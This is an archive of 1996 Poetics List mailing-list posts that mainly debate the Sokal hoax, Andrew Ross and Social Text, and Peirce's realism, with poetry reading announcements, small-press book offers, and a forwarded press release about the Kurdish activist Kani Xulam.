I think Ron's account in fact highlights my own unease with Ross's claim. SOCIAL TEXT's editorial process makes it not very different from most other journals. Ross strikes me as dissembling when he uses the term "unrefereed" to imply that ST is somehow less at fault for what happened. The truth is that he and the Editorial Collective screwed up big time -- screwed up in a way that reflects badly on a cause that I for one think is important -- and Ross should have apologized for it. By throwing all the blame (instead of the, say, 50% he deserves) on Sokol, Ross makes himself and the "cause" look even worse.

Did I mention that the rest of the essays in the "Science Wars" issue in fact raise all the points we've been discussing here, often with a great deal of sophistication? Funny how, even in my own mind, the 15 or 16 articles in the issue that aren't by Sokol have just vanished from discussion.

And the truth is? I think Ross et al are too cock-sure to believe they could be fooled -- and thus were fooled. And surely this does show that some more caution and care and attention are needed, at least in halls like those of SOCIAL (-climbing, thanks Ron) TEXT.

--
[redacted]
David Golumbia

↑ Index

456. Marjorie Perloff
Re: POETICS Digest - 20 May 1996 to 21 May 1996
Wed 22 May 1996

Some further thoughts on Ross's apologia for the Social Text fiasco:

The crux of what I consider plain bad faith is Ross's sentence, "Sokal's article would have been considered sophomoric and outdated . . . had it come from a humanist or social scientist." But coming from a "scientist" it was deemed acceptable so that Social Text readers could see how "scientists" regard things.

How essentialist can you get? The very people who castigate those who say "Women think X but men think Y," or "Heterosexuals do X but gays do Y" are now assuming that there's an entity called "scientist" that "represents" a fixed point of view. Instead of judging the essay according to its argument, its originality, its interest, and so on, the editorical "collective" (read, board) thought they'd publish the article so that their readers might be exposed to that specimen known as scientist. It's a pretty frightening mode of thought...

Secondly, as to refereed journals. If indeed it is true that all ST essays are commissioned, what sort of "social text" is this? Where is the openness to other points of view? For whom is the journal produced? The silly designation "editorial collective" can't mask the authoritarianism and, yes, political correctness involved in such hokey operations.

Marjorie Perloff

↑ Index

457. Deirdre Kovac
Big Allis NYC Reading
Wed 22 May 1996

Just a last-minute reminder to those in New York to simultaneously support _Big Allis_ (and the Segue reading series) and hear a stellar string of poetry and more at the benefit/launch for the hot-off-the-press issue #7. Tomorrow.

Thursday 23 May
Segue
303 East 8th Street
between B & C
7:30 P.M.
(will-yes-begin on time)
$3 suggested contribution
Big Allis #7 and back issues on hand

The current slate of anticipated readers/presenters: Hannah Weiner, Fiona Templeton, Anne Tardos, Juliana Spahr, Jena Osman (in absentia), Rod Smith, James Sherry, Gail Sher, Peter Seaton, Joan Retallack, Sianne Ngai, Melanie Neilson (reader and gracious host), Jackson Mac Low, Lori Lubeski, Deirdre Kovac, Michael Gottlieb, Elizabeth Fodaski, Jeff Derksen, Dorothy Trujillo Lusk (in absentia), Tina Darragh, Abigail Child, Rachel Careau, and Bruce Andrews.

While I'm here, would also like to plug next week's Segue reading, another not-to-be-missed event:

Heather Ramsdell & Garrett Kalleberg
Thursday 30 May
Segue
303 East 8th Street
7:30 P.M.
Free

This has been my first ever post, so do hope it has come through clear and in time.
Until Thursday,
Deirdre Kovac

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458. Steven Howard Shoemaker
Re: fake book
Wed 22 May 1996

Sorry Burt! The "Burt Kimmelman writes" below was supposed to come *after* my bit and *before* Burt's stuff beginning "A quasi analog..."

Guess i faked it without even trying!

steve

> *Burt Kimmelman writes:*
>
> *Well, speaking of parchment, I guess those de/composed fragments of Sappho have served as fake books for improvisations by Pound and others...*
>
> *steve*
>
> *A quasi analog to musical fake books is perhaps the old english manuscripts that showed the full elaboration of a stanza pattern including the refrain and any other repeating features, and then showed the other unique lines of successive stanzas--all done to save parchment that was precious.*

> *So how would this be fake? I don't know. Of course, thinking of parchment, one can't help but recall the whole delicious issue of the palimpsest--but now, we are perhaps straying beyond prosody and into purely textual/linguistic and/or philosophical matters.*

↑ Index

459. **Steven Howard Shoemaker**
Re: fake science: reply
Wed 22 May 1996

Sorry, folks, i don't know where the Ross reply originally appeared. By the time it got to me the origin was lost in the vagaries of e-mail forwarding.

steve

Ursula Heise writes:

"I, too, would be interested to know where Ross' reply was printed. I understand that he will publish a reply to Sokal in the next issue of _Lingua Franca_."

↑ Index

460. **Steven Howard Shoemaker**
Re: fake science
Wed 22 May 1996

Alright Henry, i'll bite. Can you go into a bit more detail about Peirce's take on "the realist/nominalist distinction"?

steve

> *Hope you'll all forgive me for harping on my hobbyhorse again, but I'm reading Peirce (that shd be clear by now) & can't get over how relevant it is to the Sokal flap. He sets up a philosophical position that not only grounds the realist/nominalist distinction (as I related to the dispute in earlier post) - he also debunks the arrogance of science (in scientism & positivism) which dominated the "philosophy of science" at the end of the 19th century. He was able to do this because he was one of those rare birds, a real philosopher coming out of a background in experimental science. His explorations in logic led to an architecture of meaning which describes nature's operations as "like a language"; which suggests a cosmic sentience or universal Mind not on theological claims (transcendentalism) but on observation of the workings of logic itself - a creative tripartite structure in which the "chance" subject is linked to a general "predicate" which has meaning in the context of the whole as "coming from the future" (a consensus of truth).*

> *Wish I could be more precise - I know how foggy this all sounds - but what I'm driving at is that Peirce revaluates some of these issues - the social construction of science, the relation of reality to our descriptions of it, and the relations between creative thinking in general both to chance and what can be termed "the true". And he does this in ways that can't be pigeon-holed as conservative, idealistic, positivistic, etc. He took care not to be pigeonholed by those who claimed him as their guide - Wm James & the pragmatists. It almost goes without saying that he was ostracized, attacked & ignored by the academic establishment of the time & died in poverty. There is the possibility of a philosophy of science which recognizes the "fallibilism" (Peirce's term) of socially and politically-textured knowledge without falling into either camp of "nominalist" relativism or its obverse twin, positivist empiricism. - Henry Gould*

↑ Index

461. David Golumbia
Re: steakhouse
Wed 22 May 1996

And DB wrote:

> *a faint reminder that before the current conceptualization of science was formed, that poets (yes POETS) were the folks who made the big scientifical discoveries, by expanding the perceptions of their audience through the author's unique linkage with the mysteries of nature.*

Yes! Heraclitus was 1) poet or 2) scientist? I'm entranced by not being able to answer...

--
[redacted]
David Golumbia

↑ Index

462. David Baratier
fakehaus
Wed 22 May 1996

DG asks what does this have to do with poetry? how bout the creation of a new word, or better yet:

"I'd like to think that writing poetry is a useful way to understand what our senses tell us, and so is science."

a faint reminder that before the current conceptualization of science was formed, that poets (yes POETS) were the folks who made the big scientifical discoveries, by expanding the perceptions of their audience through the author's unique linkage with the mysteries of nature.

David Baratier

↑ Index

463. **Joe Amato**
fake science...
Wed 22 May 1996

---

i'm really enjoying this thread... again, i wanna reiterate that, as i see it, ross shoulda simply admitted that he and the rest of his editorial board were bamboozled by sokol... i like to attribute good intention where i'm able, so i prefer to read ross's lapse---his convoluted justification (this my opine even after reading marjorie's, david's and ron's glosses on "unreferreed" etc.)---as owing to ross's commitment to cultural studies-ish agenda...

at the same time (as a former practicing engineer, just to authorize my own experience a tad), i feel the need to aver that there is damned good work being done from a cultural studies angle that addresses scientific and technological practice (both contemporary as well as historically remote)... sure, there are debates over same (witness, for example, helen longino's response to donna haraway's notion of "core narratives" from within a phil. of sci. perspective)... and, with alan and tom and ursula k. and ___, i share the view, which again has been debated for years now within sls, that the cultural/literary side of things should know its science ... much as i expect scientists to know their cultural studies...

but this again is where the problem lies: science as an arbiter of truth has a much more programmatic influence in our society (not to mention funding) than the humanities... this may not be what scientists or engineers intend (and for the moment, again, i'll refrain from distinguishing between scientists on the one hand and technological professionals on the other)... but it's painfully evident on my tech. campus who gets to say what, and how, and how much government monies---taxpayer dollars---support this power differential... which suggests that there are some institutional realities that need to be understood aright if one is to go about understanding how science and technology operate in practice...

it's not that american culture, for example, is 'un' or 'non-literary' as a direct result of scientific hegemony, or that scientists are operating, say, in a literary void, are uninfluenced by aesthetics etc... what's at stake here are the various ways that our institutions act to discourage scientific practitioners, as well as much of the public, from understanding just how intimately science and technology are bound up with social and cultural developments... and perhaps there

would be some benefit to understanding, as well, the degree to which the humanities (broadly speaking) has often resisted the legislated primacy of more functional (even vocational) studies by sticking its collective heads in the sand...

so those who choose to explore the interconnections among (?) these domains are bound to find themselves in mixed company, so to speak... it's fraught terrain, punctuated by territorial struggles and anxieties... and practical jokes (like sokol's) aside, there's a certain need, as i see it, to try to speak in ways that promote dialogue, not division...

joe

↑ Index

464. **henry gould**
Re: formal continuum
Wed 22 May 1996

On Wed, 22 May 1996 11:50:10 CST David Baratier said:
>
> HG: I sent some journals to the Poetry Mission, let me know if you
> recieved them.

Thank you in advance, David - that's wonderful. I'll be getting back to you when it arrives. And thanks to Jonathan Brannen, Luigi-Bob Drake, Walter Lew, and Tim Wood for your fine donations. I hope I haven't left anyone out. The Mission project is coming together - we added greatly to the library from a discount bksale at the mother of all small press poetry libraries, the Harris Collection at Brown - we are also negotiating with a new gallery in town for steady performance space. - Henry Gould

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465. **henry gould**
Re: fake science
Wed 22 May 1996

Steven, I'm sure there's somebody better qualified on this list, but I'll do what I can re: Peirce & "nominalism/realism". Peirce went deeper into the study of logic & came up with more new insights on it than anyone in his time. He had a huge ambition to build an "architectonic" philosophy on the level of Aristotle or Kant. His studies in logic led him to the disputes of high scholasticism over the status of "universals". Are "universals" (general concepts, like "humanity") real - do they have a real existence beyond our verbal conceptualizations? Or is the universe made up of pure particularities? Realists claimed that our general concepts corresponded to some real general order to reality outside the mind;

nominalists called general concepts artificial "names" by which we order reality. These debates were taken to depths of great subtlety and nuance; as one commentator on Peirce put it, Duns Scotus (realist) and Occam (nominalist) were divided by the width of a hair. Peirce felt these issues pervaded worldviews into our own time; as I tried to summarize in earlier post, to a nominalist truth is relative to human language about it; to a realist our language is relative to the truth and must always be adjusted by experiment & experience. Peirces own "pragmaticist" way began as kind of a middle road between the two: his scientific training gave him a deep respect for "brute fact" and chance which counterbalanced any truth-claims that weren't backed up both by the logic of experiment and by human consensus; while his belief in a reality which corresponded to our abstract conceptions kept him out of both the British empiricist stream of skepticism (Hume et al.) and the scientific positivism which took its place. One of the fascinating things about Peirce is this combination of scientific humility & discipline with philosophical originality: his pragmatic-ideal-realism grew more subtle as he explored the logic of nature as a semiotic system. His final formulations of a definition of "truth" are careful in the extreme & map out the distinctions of which the debates about the social constructions (or constrictions) of knowledge, the limits of science, and the limits of Mind and causation are all taken into account. Peirce was recognized as a prescient thinker who foresaw developments in quantum theory & relativity; some commentators have noted close affinities between his work & that of physicist David Bohm 100 yrs later. In Peirce, the postmodern "social embeddedness" of science is further de-centered by an extremely stringent conception of what real knowledge consists of : it is predicated on meanings ("thirdness") operating on present understanding FROM THE FUTURE. There was no question for him, however, of which side he lands on in the realist/nominalist debate : the order (which includes chaos) of which we are a part exists outside of our present formulations of its meaning. For someone who believed in real general truths, pragmaticism was a way of escaping the pitfalls of both an unscientific idealism (Emerson) and a pseudo-scientific positivism. And it was all built on what he perceived as the creative logic of hypothesis.

The best intro to his bizarre career is by Joseph Brent -
"Charles Sanders Peirce: a life" (Indiana UP, 1993)
- Henry Gould

p.s. someone was talking on this thread about scientists-as-poets: Brent mentions that Peirce revered Poe; he discovers a lot of affinities between Peirce himself and Baudelaire, of all people.

↑ Index

466. **Michael Boughn**
Re: formal continuum
Wed 22 May 1996

> *Henry Gould, Jordan Davis*
>
> *The word "Saussure" instigated the note. While I no longer have the original post, from memory I can assertain that the word appeared as a substitution and that I was focused on why "metrical meaning" was such an "obvious reference to Saussure" as compared to Blake, Wollstencraft, Pope, and anon previous practitioners. It wasn't the emphasis of metrical rhythm awareness that I found disturbing, but rather the methodology of attributing a particular philosopher with a discovery that an author metrically establishes for any acute reader to find.*
>
> *Be Well*
>
> *David Baratier*

Just to clarify, the reference to Saussure was in regards to Annie Finch's basic structuralist thesis in _The Ghost of Meter_. It wasn't a "substitution", it was an attempt to indicate her debt to a line of thought that originates in Saussure's structuralist linguistics, especially her notion that metrical meaning arises (again, in some cases) out of differences within a structure, rather than as an identity of some particular rhythm and some particular transcendent meaning.

Peace, love, and good vibes,

Mike
[redacted]

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467. **David Baratier**
Re: formal continuum
Wed 22 May 1996

Henry Gould, Jordan Davis

The word "Saussure" instigated the note. While I no longer have the original post, from memory I can assertain that the word appeared as a substitution and that I was focused on why "metrical meaning" was such an "obvious reference to Saussure" as compared to Blake, Wollstencraft, Pope, and anon previous practitioners. It wasn't the emphasis of metrical rhythm awareness that I found disturbing, but rather the methodology of attributing a

particular philosopher with a discovery that an author metrically establishes for any acute reader to find.

Be Well

David Baratier

HG: I sent some journals to the Poetry Mission, let me know if you recieved them.

JD: I'll be reading for 45 minutes to an hour in Philly, fifteen in Bklyn. Your call. Backchannel me, theres more.

↑ Index

468. **Burt Kimmelman**
Re: fake book
Wed 22 May 1996

So, Steve, you weren't purposely trying "to fake-book" it in your misquote (misprision?)?

↑ Index

469. **Aldon L. Nielsen**
Re: death in L.A.
Wed 22 May 1996

FYI -- for those who were inquiring about the death of Michael Taylor -- According to an article in yesterday's _LA Times_, both police and Taylor's friends believe that the people who killed Taylor were attempting to steal an expensive piece of radio equipment he had acquired while preparing to start up a micro-broadcasting station. Police suspect there may have been more people involved in the murder than the three suspects who have been arrested.

_____ FYI2 -- same _LA Times_ finally ran an article on the death, in Japan, of Johnny "Guitar" Watson -- took 'em long enough -- maybe they were shamed into by the obit. in New York -- Watson was a central figure in LA music for decades. In contrast, the same paper had a next day article on the death of an actor from the cast of _General Hospital_ --

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470. **henry gould**
summa more peirce
Wed 22 May 1996

One more blip on why I think Sokal et al & Ross talking past each other & why philosopher on level of Bohm or Peirce is useful. Philosophy began with poetry

& became a way of talking about cosmos in _everyday terms_ - common knowledge. This is important to remember. Science falls prey to positivism: i.e., "we don't need philosophy - we've got power". Leads to science jargon & techno-elite. If people think Social Text is jargon, try reading any advanced math book. If Sokal bases his judgement on the experimental method alone, he is certainly open to the postmodern critique & rightly so. Yet, on the other hand, I can hear Peirce looking at the whole gamut of postmodernism, post- structuralism, etc. etc. and saying: these are the nominalists of our day. To them, since the real is purely relative, a blank, we will "theorize" to our heart's content, without the messy trouble of evidence, proofs, logic, argument, etc... we'll go on sophistry alone. Note that this strain loves to wrap itself in the mantle of "poetry" - and with friends like this the scar's the delimit.

What's missing here is a philosophy which can make sense of knowing and unknowing, conscious & unconscious, slips and trips, mine & Thou(ght). Poets make nature second nature. - Henry Gould

↑ Index

471. Don Cheney
Re: chax books
Wed 22 May 1996

---------- Forwarded with Changes ----------
From: [redacted] at @UCSD
Date: 5/22/96 3:57PM
*To: [redacted] at @UCSD
Subject: Re: chax books

Carolyn

i was just reading Joko Beck's book "EVERYDAY ZEN" and your Barnes quote (One's life is particularly one's own when one has invented it.") reminded me of a quote from Joko's book (actually, she's quoting an anonymous zen teacher. It's the zen angle on what one's life is):

"Your life is none of your business."

Don
[redacted]

> *On Wed, 22 May 1996, Jonathan Brannen wrote:*
>
> *if you're not already familiar with the work of Karen MacCormack (whose >*
> *work deserves to be more widely known than I suspect it is), _Quirks & >*

> *Quillets_ is a worthy introduction.*
>
> *I second that motion. Has she published anything since _Quirks & Quillets_?*
>
> *Carolyn Guertin*
> [redacted]
>
> *"One's life is particularly one's own when one has invented it."*
> *-- Djuna Barnes, Nightwood*

↑ Index

472. Jonathan Brannen
Re: chax books
Wed 22 May 1996

This is a product endorsement. The Mac Low, Duncan and Waldrop books are all beautiful examples of fine printing, as well as good reads, and these are bargain basement prices. The trade editions are all excellent. I don't wish to single out any one out of these books at the expense of the others but, if you're not already familiar with the work of Karen MacCormack (whose work deserves to be more widely known than I suspect it is), _Quirks & Quillets_ is a worthy introduction.

Best,
Jonathan

>3. Finally, Poetics List members may choose from the following list any 3
>books for $5 each, a savings of up to $10 per book. a $3 shipping/handling
>charge will be added for orders of 3 books; however, no shipping charge will
>be added for orders totaling $20 or more, including any combination of
>orders from the following list, of the Mac Low book, and of the Duncan
pamphlet.
>
>Kathleen Fraser, when new time folds up, 1993
>Norman Fischer, Precisely the Point Being Made, 1993 (co-published with O
Books)
>Rosmarie Waldrop, Fan Poem For Deshika, 1993, (hand printed pamphlet)
>Beverly Dahlen, A Reading 8 — 10, 1992
>Ron Silliman, Demo to Ink, 1992
>Eli Goldblatt, Sessions 1 — 62, 1991
>Sheila Murphy, Teth, 1991
>Karen Mac Cormack, Quirks & Quillets, 1991
>Charles Alexander, Hopeful Buildings, 1990
>Larry Evers and Felipe S. Molina, Wo’i Bwikam/Coyote Songs, 1990
>bp Nichol, art facts: a book of contexts, 1990

>
>
>
>Once again, please send orders directly to me at [redacted], or to the
>address listed in the first part of this message.
>
>and thank you,
>
>Charles Alexander
>Chax Press
>
>

↑ Index

473. Steven Howard Shoemaker
Re: fake book
Wed 22 May 1996

Well, i dint *think* i was, but now that you mention it i've been getting more and more fascinated by how much of what we want to call "thinking" (w/ rationalist connotations) is actually unconscious (and this sort of loosely ties in to Henry's latest stuff on Peirce, or at least one small bit of it). So who knows--maybe i somehow *meant* to fake it all along? And, of course, i can't leave this question without the obligatory nod toward our medium here, and how it blurs both author-ization and intentionality. One tries, sort of, to construct stable entities out of all these floating names and addresses (the personalized "sig" as an attempt to stabilize the flux, carve out a little real estate w/ your name out front?), but it's so hard to remember "who" said what...

steve

"Burt""sez":

> *So, Steve, you weren't purposely trying "to fake-book" it in your misquote (misprision?)?*

↑ Index

474. c.g. guertin
Re: chax books
Wed 22 May 1996

On Wed, 22 May 1996, Jonathan Brannen wrote:

> *if you're not already familiar with the work of Karen MacCormack (whose work deserves to be more widely known than I suspect it is), _Quirks & Quillets_ is a worthy introduction.*

I second that motion. Has she published anything since _Quirks & Quillets_?

Carolyn Guertin
[redacted]

"One's life is particularly one's own when one has invented it." -- Djuna Barnes, Nightwood

↑ Index

475. Gabrielle Welford
Kani Xulam faces deportation & death (fwd)
Wed 22 May 1996

More joy in the world. Gab.

---------- Forwarded message ----------
Date: Wed, 22 May 1996 01:47:50 -1000
From: Berkeley Calif <[redacted]>
To: [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted], [redacted]
Subject: Kani Xulam faces deportation & death

AKIN internet administrator and burn.ucsd.edu client Kani Xulam faces deportation and certain execution in Turkey as a result of his effective human rights advocacy and his radical use of electronic media.

burn administrators and other IWW internet workers are extremely concerned about this situation, but our ability to formulate a response strategy is limited by our lack of more current information.

Please mail [redacted] if you know anything we don't.

American Kurdish Information Network (AKIN)

PRESS RELEASE #8

APRIL 16, 1996 - FOR IMMEDIATE RELEASE

TURKISH GOVERNMENT CONVINCES U.S. TO ARREST KURDISH ACTIVIST IN D.C.

In a bold move, trying to discredit the peaceful efforts of the American Kurdish Information Network (AKIN), the government of Turkey persuaded the U.S. State Department to seek the arrest of Kani Xulam, that group's respected spokesman in Washington, D.C.

Xulam has been advising members of Congress and the Administration of the atrocities perpetrated by Turkish armed forces in their destruction ofover 3,000 Kurdish villages, the murder of tens of thousands of civilians, and the forced relocation of millions. Turkey relies on U.S. military aidto enforce its denial of fundamental human rights to some 20 million Kurds.

Xulam comes from Turkish occupied Kurdistan, where he - as all other Kurds - was forbidden to use his native Kurdish language. Now, on the pretext of "passport fraud", the State Department initiated legal proceedings which resulted in Xulam's arrest last week and his appearance on Monday in U.S. District Court in Washington, D.C.

In an affidavit to the court, the State Department claimed that it had been informed by the government of Turkey that Xulam "may be a member" of a terrorist organization. Based on that allegation by a foreign power that seeks to silence Xulam, the federal magistrate detained him. Apparently, the government is afraid Xulam may flee the country and they want him held so that he can be deported.

Some twenty local human rights activists appeared to speak for Xulam's character and long time commitment to seek peaceful solutions to the present conflict between the Turkish armed forces and the Kurdish people. Among them were Kathryn Cameron Porter, President of Human Rights Alliance and wife of Rep. John Porter (R, IL.), Maryam Elahi of Amnesty International, and Sister Patricia Krommer of the Human Rights Foundation.

Although the AKIN offices in Washington, D.C. were searched and its papers rummaged, it is still operating and will continue to campaign for the rights of Kurds everywhere.

Ralph D. Fertig, Secretary of the Board of Directors of AKIN and a former federal administrative judge for the E.E.O.C. in Los Angeles, commented: "It is clear that these proceedings against Xulam are testimony to his effectiveness in alerting American public officials to the use of U.S. tax dollars to support and equip the Turkish government in its violation of basic human rights of the Kurds. Xulam is a dedicated pacifist, and his efforts have been used in the best American tradition of peacefully petitioning the U.S. government. Neither he nor his cause shall be silenced."

Respectfully,J. Azboy
Director

American Kurdish Information Network (AKIN)
2623 Connecticut Avenue NW #1
Washington, DC 20008-1522

The American Kurdish Information Network (AKIN) provides a public service to foster Kurdish-American understanding and friendship.

Tel: [redacted]
Fax: [redacted]

E-mail: [redacted]
Web: http://burn.ucsd.edu/~akin

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476. Daniel Bouchard
Re: Kani Xulam faces deportation & death (fwd)
Wed 22 May 1996

Thanks for this post Gab.

[redacted]

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477. Steven Howard Shoemaker
Re: fake science
Wed 22 May 1996

You've got me pretty damn interested in Peirce here. He's actually someone i've meant to check out for a long time (in the mental cardfile somewhere near Muriel Rukeyser's bio of the similarly crucial-but-neglected physicist Willard Gibbs). Anyway, there's no question these are still live issues. To shift the terms a bit, i sometimes feel *everything* is about the dialectic of "the ideal" and "concrete." On the latter side, here's something from the neuroscientist (and lucid explicator) Francisco Varela. He starts off by talking about the old-dominant top-down idealist approach to knowledge, then goes on to say:

There are strong indications that among the loose federation of sciences dealing with knowledge and cognition--the cognitive sciences--there is a slowly growing conviction that the picture is upside down, that a radical paradigmatic or epistemic shift is is rapidly developing. At the very center of htis emerging view is the belief that the proper units of knowledge are primarily *concrete*, embodied, incorporated, lived. This unique, concrete knowledge, its historicity and context, is not "noise" that occludes the brighter pattern to be captured in its true essence, an abstraction, nor is it a step toward something else: it is how we arrive and where we stay."

And another sample:

"There is considerable support for the view that brains are not logical machines, but highly cooperative, nonhomogeneous and distributed networks. The entire system resembles a *patchwork* of subnetworks assembled by a complicated history of tinkering, rather than an optimized system resulting from some clean unified design."

(from "The Reenchantment of the Concrete," in *Zone 6*)

Henry writes:

> *Steven,*
> *I'm sure there's somebody better qualified on this list, but I'll do what I can re: Peirce & "nominalism/realism". Peirce went deeper into the study of logic & came up with more new insights on it than anyone in his time. He had a huge ambition to build an "architectonic" philosophy on the level of Aristotle or Kant. His studies in logic led him to the disputes of high scholasticism over the status of "universals". Are "universals" (general concepts, like "humanity") real - do they have a real existence beyond our verbal conceptualizations? Or is the universe made up of pure particularities? Realists claimed that our general concepts corresponded to some real general order to reality outside the mind; nominalists called general concepts artificial "names" by which we order reality. These debates were taken to depths of great subtlety and nuance; as one commentator on Peirce put it, Duns Scotus (realist) and Occam (nominalist) were divided by the width of a hair.*
> *Peirce felt these issues pervaded world-views into our own time; as I tried to summarize in earlier post, to a nominalist truth is relative to human language about it; to a realist our language is relative to the truth and must always be adjusted by experiment & experience. Peirces own "pragmaticist" way began as kind of a middle road between the two: his scientific training gave him a deep respect for "brute fact" and chance which counterbalanced any truth-claims that weren't backed up both by the logic of experiment and by human consensus; while his belief in a reality which corresponded to our abstract conceptions kept him out of both the British empiricist stream of skepticism (Hume et al.) and the scientific positivism which took its place. One of the fascinating things about Peirce is this combination of scientific humility & discipline with philosophical originality: his pragmatic-ideal-realism grew more subtle as he explored the logic of nature as a semiotic system. His final formulations of a definition of "truth" are careful in the extreme & map out the distinctions of which the debates about the social constructions (or constrictions) of knowledge, the limits of science, and the limits of Mind and causation are all taken into account.*

> *Peirce was recognized as a prescient thinker who foresaw developments in quantum theory & relativity; some commentators have noted close affinities between his work & that of physicist David Bohm 100 yrs later. In Peirce, the postmodern "social embeddedness" of science is further de-centered by an extremely stringent conception of what real knowledge consists of : it is predicated on meanings ("thirdness") operating on present understanding FROM THE FUTURE. There was no question for him, however, of which side he lands on in the realist/nominalist debate : the order (which includes chaos) of which we are a part exists outside of our present formulations of its meaning. For someone who believed in real general truths, pragmaticism was a way of escaping the pitfalls of both an unscientific idealism (Emerson) and a pseudo-scientific positivism. And it was all built on what he perceived as the creative logic of hypothesis.*
>
> *The best intro to his bizarre career is by Joseph Brent - "Charles Sanders Peirce: a life" (Indiana UP, 1993)*
> *- Henry Gould*
>
> *p.s. someone was talking on this thread about scientists-as-poets: Brent mentions that Peirce revered Poe; he discovers a lot of affinities between Peirce himself and Baudelaire, of all people.*

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478. **Charles Alexander**

Re: chax books

Wed 22 May 1996

> *On Wed, 22 May 1996, Jonathan Brannen wrote:*
>
> *if you're not already familiar with the work of Karen MacCormack (whose work deserves to be more widely known than I suspect it is), _Quirks & Quillets_ is a worthy introduction.*
>
> *I second that motion. Has she published anything since _Quirks & Quillets_?*
>
> *Carolyn Guertin*
> [redacted]

Yes, _Marine Snow_ came out in 1995, from ECW Press, and it's quite marvelous. ECW, I believe, is trying to gain distribution by SPD, but may not have such distribution yet. The address of ECW is 2120 Queen Street East, Toronto,

Ontario M4E 1E2, Canada. The price is not printed on the book, so I can't tell you what it costs, Canadian or American.

Chax will be bringing out Karen Mac Cormack's _The Tongue Moves Talk_ in the fall of 1996. I'm sure I'll make some kind of announcement on the Poetics List, although keep in touch, please. We should be moved before that book comes out, so it's possible I won't have email or Poetics List connection for a while in late summer/early fall.

charles alexander
chax press
p.o. box 19178
minneapolis, mn 55417
usa

[redacted]

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479. **Pierre Joris**
Re: chax books
Wed 22 May 1996

Re Karen Mac Cormack: yes, she has published a new book since "Quirks & Quillets," namely "Marine Snow," from ECW Press (1995). Also not to be forgotten are the books preceding Q&Q: "Quill Driver" (Nightwood Editions 1989) & "Straw Cupid" (Nightwood 1987). All of it, I think, lovely, lovely books - she keeps amazing & delighting me. -- Pierre

========== Pierre Joris | "Form fascinates
when one no longer has the force Dept. of English | to understand force
from within itself. That SUNY Albany | is, to create." -- Jacques Derrida
Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a lan-
guage." email: | -- Friedrich Holderlin [redacted]|
==========

On Wed, 22 May 1996, c.g. guertin wrote:

> *On Wed, 22 May 1996, Jonathan Brannen wrote:*
>
> *if you're not already familiar with the work of Karen MacCormack (whose work deserves to be more widely known than I suspect it is), _Quirks & Quillets_ is a worthy introduction.*
>
> *I second that motion. Has she published anything since _Quirks & Quillets_?*

> *Carolyn Guertin*
> [redacted]
>
> *"One's life is particularly one's own when one has invented it."*
> *-- Djuna Barnes, Nightwood*

↑ Index

480. George Bowering
Re: Orioles
Thu 23 May 1996

> *I'm just telling this pointless story to see if there are any other Orioles fans lurking on the elist...*
>
> [redacted]

One hates the Orioles. I even hope that Alomar goes into a terrible slump; loved one game last week when I saw him make three bad plays.

.....
"the sunne
a good good mama
a very loud star"
--Anselm Hollo

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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481. Marjorie Perloff
Re Refereed Journals
Thu 23 May 1996

I agree that anonymous submissions (as in PMLA) are obnoxious but Ron, I wonder if you really mean what you're saying. I serve on a lot of editorial boards and, for instance, on CONTEMPORARY LITERATURE I think the process is extremely fair. All "refereed" means is that particular members of the board are sent an article to evaluate and their reports then go to the editors in chief. But I take it that Social Text doesn't even bother with that-- they just

commission articles. Which means no one outside the little clique gets in. Do you really think that's optimal?

I think the best and liveliest journals are more open than that.

Marjorie Perloff

↑ Index

482. **Rod Smith**
Re: Ediots
Thu 23 May 1996

Just quick to note that I think Andrew Ross is WAY ok. He's the real thing-- & while I wouldn't go quite as far w/ the social constructivist stance as he does (few do)-- I think he has a great deal to say that should be listened to (paricualarly in _Chicago Gangster Theory of Life_ & as ed. of _Universal Abandon_).

The Sokal brooha is a media non-issue as most media issues are, the facile foolishness & complete lack of contextual acumen evinced by the "reporters" is deeply offensive-- whatever mistakes an academic might make at least most don't make the mistake of believing the New York Times (only slightly overstated rhetoric). It's also troubling the degree to which the media control the terms of conversation even here on our little corner of the debate-net.

I'm w/ Mr. Gould for a change on the Bohm/Peirce framing of the question. We cld take it back to Hegel as well, & then fast fwd to have him shake hands w/ Duchamp.

Big Allis publication party tonight (Thursday) at 7:30 Segue Space (303 E 8th, twixt B & C)-- yous New York area folks all com'n I hope.

Rod

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483. **Rod Smith**
Re: Orioles
Thu 23 May 1996

> *I'm just telling this pointless story to see if there are any other Orioles fans lurking on the elist...*
>
> [redacted]

They're my team. However I will be offering TRADE CAL RIPKEN T-shirts to the list very soon.

R

↑ Index

484. Kevin Killian
Re: death in L.A.
Thu 23 May 1996

This is Kevin Killian speaking.

Aldon N wrote I think rather dismissively about the death of John Beradino--

> *FYI2 -- same _LA Times_ finally ran an article on the death, in Japan, of Johnny "Guitar" Watson -- took 'em long enough -- maybe they were shamed into by the obit. in New York -- Watson was a central figure in LA music for decades. In contrast, the same paper had a next day article on the death of an actor from the cast of _General Hospital_ --*

IMHO, Beradino was a great star and a figure of major cultural importance. Everyone knew he was in failing health and I'm sure the LA Times had a correspondent with very close connections to Cedar-Sinai where the stars die. He had to leave "General Hospital" in 1993 after thirty years, because he was sick. Soap opera fans and baseball fans all over the world are sad that he has died. Give him the dignity of his name now that he is dead. But Aldon, I understand why the disparity between the reportage of the two entertainers outrages you. Yet soap opera stars receive less respect even than the great guitar players of our day. Why is that? I think because their work is perceived as somehow effeminate, decadent, off the beat. Ephemeral. Unrelated to life.

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485. Kevin Killian
Come In Spinner!
Thu 23 May 1996

This is Kevin Killian. This post is especially to our Australian and Kiwi correspondents, but please, I need help from all. Have any of you read "Come In Spinner!" by Dymphna Cusack & Florence James? I am thinking of writing about this book and would appreciate knowing if anyone knows of previous critical studies. I don't want to say what everyone else has already said without knowing it (God, what a sentence, but I hope you know what I mean). Thanks to all. XXX Kevin K.

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486. Michael Boughn
Re: chax books
Thu 23 May 1996

> *Yes, _Marine Snow_ came out in 1995, from ECW Press, and it's quite marvelous. ECW, I believe, is trying to gain distribution by SPD, but may not have such distribution yet. The address of ECW is 2120 Queen Street East, Toronto, Ontario M4E 1E2, Canada. The price is not printed on the book, so I can't tell you what it costs, Canadian or American.*

Its ISBN is 1-55022-258-9 and the price is $12.00 Canadian (which, these days, must be about $3.00 US).

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487. Bob Perelman
a)science b) self-promo
Thu 23 May 1996

a)

Can someone forward me Ross's response (or the whole of yesterday's listserv if that's easier)? I want to forward it to Howie Winant, sociologist at Temple, old *Socialist Review* friend of Ron's.

